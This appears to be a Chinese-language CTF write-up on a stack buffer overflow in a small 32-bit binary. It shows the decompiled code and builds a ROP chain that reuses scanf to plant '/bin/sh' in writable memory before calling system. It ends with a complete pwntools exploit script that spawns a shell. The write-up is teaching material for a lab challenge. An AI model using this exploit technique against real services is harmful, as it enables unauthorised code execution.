checksec一下,发现NX保护开启,PIE未开启。
1 int __cdecl main() 2 { 3 int v1; // [esp+18h] [ebp-28h] 4 5 puts("pwn test"); 6 fflush(stdout); 7 __isoc99_scanf("%s", &v1); 8 printf("%s", &v1); 9 return 1; 10 }
IDA打开main函数,发现程序逻辑很简单,存在scanf可以写入任意长度的字符串,但是这里的NX开启,并且由于ASLR的存在,所以不能向栈上写入shellcode。v1不是全局变量,即使PIE未开,也无法向bss段写入shellcode。
然后发现,这个程序里存在system函数,通过scanf栈溢出漏洞,可以很容易的转到这个system函数里来。但是问题是,system需要command参数,仅仅只是转到这个函数里来是没有任何效果的。只有能够构造出system所需要的参数环境,把字符串“/bin/sh”传进去,才能最终得到shell。
所以我们想要通过system拿到shell,就必须得先构造出“/bin/sh”,找到一块可读可写的内存,把他存放在这个地址,以备调用system时把它当作变量传递进去。
首先我们想到的是,因为栈空间是可读可写的,所以可以把“/bin/sh”放到栈里。但是由于ASLR的存在,栈地址是随机的,所以存放在栈里不可行。
于是在IDA中按下CTRL+S,发现在0x804a030地址处正好有16个字节的空间,可读可写,并且可以足够的存放“/bin/sh”。
找到了可以存放“/bin/sh”的地址,接下来就要想,如何把它输入到这里。main函数中已经给我们提供了,就是scanf函数。我们可以修改main的retn,来让程序再次返回调用scanf(上图中的0x8048410地址),来把“/bin/sh”输入到上文中找到的那个合适的地址处。
想让程序转到转到这个地址很简单,通过栈溢出的知识,只要填充垃圾字符覆盖掉返回字符就可以了。但是scanf是需要两个参数的,在程序执行这个函数之前,我们必须要构造出正确的变量,才能妥当的把“/bin/sh”写到内存中。
如何构造,可以模仿一下程序本身自己调用scanf时的指令,它是把需要变量地址(即上文我们找到的0x804a030)存放到ESP+4的位置,把format参数(IDA中很好找,0x08048629)存放在了ESP的位置,然后再通过call指令调用scanf时,顺带着把下一条指令地址push进了栈里,即把返回地址放在了ESP+4的位置。
到了这里,我们就可以初步写出payload了。
即payload=b'A'*52+scanf地址+返回地址+format参数地址+变量地址
scanf地址,format参数地址,变量地址我们都已经确定了,最后就是这里的返回地址了。当我们把“/bin/sh”输入到程序里后,该返回到哪里呢?
在其他的WP中,都是直接再转回到main函数的首地址的,但是我没搞懂为啥第二次填充数目52就变少了,因此我把返回地址放到了0X80485ee的地址处。因为在调用函数的过程中,是要达到堆栈平衡的,也就是说当调用函数 调用 被调用函数,被调用函数返回后,ESP和EBP的值必须与被调用之前是一致的。在本程序中,如上文所画的图中,正常的调用一次scanf函数时,ESP是指向format参数地址的,当scanf正常返回到main函数中,ESP仍然是要指向format参数地址的(相对位置)。在这里我们伪造执行了一次scanf,所以当伪造的这次scanf返回后,ESP仍然是相对指向format参数地址的。所以如果返回后,把ESP和ESP+4所指向的值弹出,在利用retn转向system函数,就大功告成了。
system函数的地址很容易就能在IDA中找到。
同样的,system函数同样需要两个参数的,一个我们不需要关心,随意填充,另一个就是我们存放binsh的地址。
于是,我们就能写出最终的payload了。
payload=b'A'*52+scanf地址+返回地址+format参数地址+变量地址+system函数地址+b'A'*4+变量地址
1 #coding:utf-8 2 from pwn import * 3 io=process('./redhat') 4 5 pading=b'A'*52 #根据pwntools调试得到的需要填充的数目 6 pos_scanf=p32(0x08048410) #scanf函数的地址 7 pos_next=p32(0x080485EE) #scanf要返回的地址 8 pos_format=p32(0x08048629) #scanf的必备参数%s的地址 9 pos_binsh=p32(0x0804A030) #scanf存放变量的地址 10 pos_system=p32(0x080483E0) #system函数的地址 11 12 payload=pading+pos_scanf+pos_next+pos_format+pos_binsh+pos_system+b'A'*4+pos_binsh 13 14 io.sendline(payload) 15 16 io.sendline('/bin/sh') 17 18 io.interactive()